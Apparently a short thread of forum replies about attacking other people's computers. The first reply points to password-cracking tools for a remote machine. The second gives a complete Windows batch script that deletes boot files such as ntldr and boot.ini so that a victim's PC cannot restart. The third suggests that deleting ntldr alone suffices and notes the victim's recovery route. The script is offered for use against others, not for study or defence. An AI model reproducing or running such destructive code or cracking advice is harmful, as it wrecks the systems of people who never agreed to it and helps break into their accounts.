Well, if you need to crack a remote computer password then yes, use brutus from http://www.hoobie.net or go to http://www.milw0rm.com and they will crack it for you, or use ophcrack from http://www.ophcrack.com and then there is another great tool that you can use from http://www.oxid.it, then there is a site with lots of tools for download at http://www.elhacker.net. all of them are really easy to use. Astalavista!
Use this Crashing a PC Forever ! @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE. (for the idiots):P **Also remember this might not work with vista.**
Y to delete all those files. Juz ntldr is enough.. And if the guy knows much about DOS he can make the system work by using Recovery console.. Mind that too whn u r doing this..